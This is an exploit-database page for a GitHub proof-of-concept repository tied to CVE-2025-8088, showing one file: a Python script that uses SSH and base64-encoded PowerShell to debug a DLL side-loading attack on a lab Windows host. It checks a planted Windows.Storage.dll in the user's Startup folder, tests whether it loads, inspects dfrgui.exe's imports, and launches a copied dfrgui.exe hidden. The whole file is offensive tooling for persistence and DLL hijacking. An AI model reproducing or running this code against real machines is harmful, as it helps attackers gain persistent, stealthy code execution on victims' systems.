Exploit database

GH-9d8bf7b89f407a0fff790750df76b5d3

lewis-ricardo/amaranth-project

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-8088

19 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files94
lewis-ricardo/amaranth-projectRevision 0a4aa5d06cfd
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

side-load/debug_dll_v4.py

Python · 4,093 bytes
"""Simplified deep debug - no nested quotes"""
import paramiko, subprocess, time

HOST = "192.168.30.136"
c = paramiko.SSHClient()
c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect(HOST, username="lewis", password="lewis123",
          timeout=10, look_for_keys=False, allow_agent=False)

def ps(script, timeout=15):
    full = 'powershell -EncodedCommand ' + _b64(script)
    _, stdout, _ = c.exec_command(full, timeout=timeout)
    rc = stdout.channel.recv_exit_status()
    return stdout.read().decode("utf-8", errors="replace"), rc

def _b64(s):
    import base64
    return base64.b64encode(s.encode("utf-16-le")).decode("ascii")

S = r"C:\Users\lewis\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

# 1. KnownDLLs
print("=== 1. KnownDLLs (Windows.Storage) ===")
scr = """
$r = Get-ItemProperty "HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\KnownDLLs"
Write-Host "Windows.Storage=" $r.Windows.Storage
"""
out, _ = ps(scr)
print("  " + out.strip()[:100])

# 2. Check our DLL
print("\n=== 2. Our DLL at startup ===")
scr = 'Write-Host (Test-Path "' + S + '\\Windows.Storage.dll")'
out, _ = ps(scr)
print("  Exists: " + out.strip())

# 3. CRC/SHA of our DLL
print("\n=== 3. Our DLL checksum ===")
scr = 'Get-FileHash -Algorithm SHA1 "' + S + '\\Windows.Storage.dll" | Select-Object -ExpandProperty Hash'
out, _ = ps(scr)
print("  SHA1: " + out.strip())

# 4. System32 Windows.Storage.dll checksum
print("\n=== 4. System32 Windows.Storage.dll ===")
scr = 'Get-FileHash -Algorithm SHA1 "C:\\Windows\\System32\\Windows.Storage.dll" | Select-Object -ExpandProperty Hash'
out, _ = ps(scr)
print("  SHA1: " + out.strip()[:32])

# 5. Test LoadLibrary with explicit path
print("\n=== 5. LoadLibrary test ===")
dl = S + "\\Windows.Storage.dll"
scr = """
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class KTest {
    [DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
    public static extern IntPtr LoadLibrary(string lpFileName);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool FreeLibrary(IntPtr hModule);
}
"@
$h = [KTest]::LoadLibrary("%s")
if ($h -ne [IntPtr]::Zero) {
    Write-Host "LOADED OK handle=$h"
    [KTest]::FreeLibrary($h)
} else {
    $err = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
    Write-Host ("LoadLibrary FAILED error=0x" + $err.ToString("X8"))
}
""" % dl
out, rc = ps(scr)
print("  " + out.strip()[:200].replace("\n", "\n  "))

# 6. Check dfrgui.exe's actual imports
print("\n=== 6. dfrgui imports (find Windows.Storage) ===")
scr = """
$img = "C:\\Windows\\System32\\dfrgui.exe"
$bytes = [System.IO.File]::ReadAllBytes($img)
$s = [System.Text.Encoding]::Unicode.GetString($bytes)
$idx = $s.IndexOf("Windows.Storage")
if ($idx -ge 0) {
    Write-Host ("FOUND Windows.Storage at offset 0x" + $idx.ToString("X"))
    Write-Host ("Context: " + $s.Substring([Math]::Max(0,$idx-20), 60))
} else {
    Write-Host "NOT FOUND in dfrgui.exe"
}
# Also search shlwapi, shell32, etc patterns
foreach ($dll in @("Windows.Storage", "Windows.Storage.Search", "iertutil", "shcore")) {
    $i = $s.IndexOf($dll)
    if ($i -ge 0) { Write-Host ("Found: " + $dll + " at 0x" + $i.ToString("X")) }
}
"""
out, _ = ps(scr)
for line in out.split("\n"):
    if "FOUND" in line or "Found" in line or "NOT" in line:
        print("  " + line.rstrip())

# 7. Can dfrgui even start in this session?
print("\n=== 7. Launch dfrgui directly ===")
scr2 = ('$p = Start-Process -PassThru -NoNewWindow -WorkingDirectory "' + S +
        '" -FilePath "' + S + '\\dfrgui.exe" -WindowStyle Hidden; Start-Sleep 3; ' +
        'Write-Host ("PID=" + $p.Id + " Exited=" + $p.HasExited)')
out, rc = ps(scr2)
print("  " + out.strip()[:100])

# 8. Check module info
scr3 = ('Get-Process -Name dfrgui -ErrorAction SilentlyContinue | ' +
        'Get-ProcessModule | Select ModuleName, FileName')
out, _ = ps(scr3)
print("\n=== 8. Loaded modules ===")
for line in out.split("\n"):
    if "Windows" in line or "Storage" in line:
        print("  " + line.rstrip())

c.close()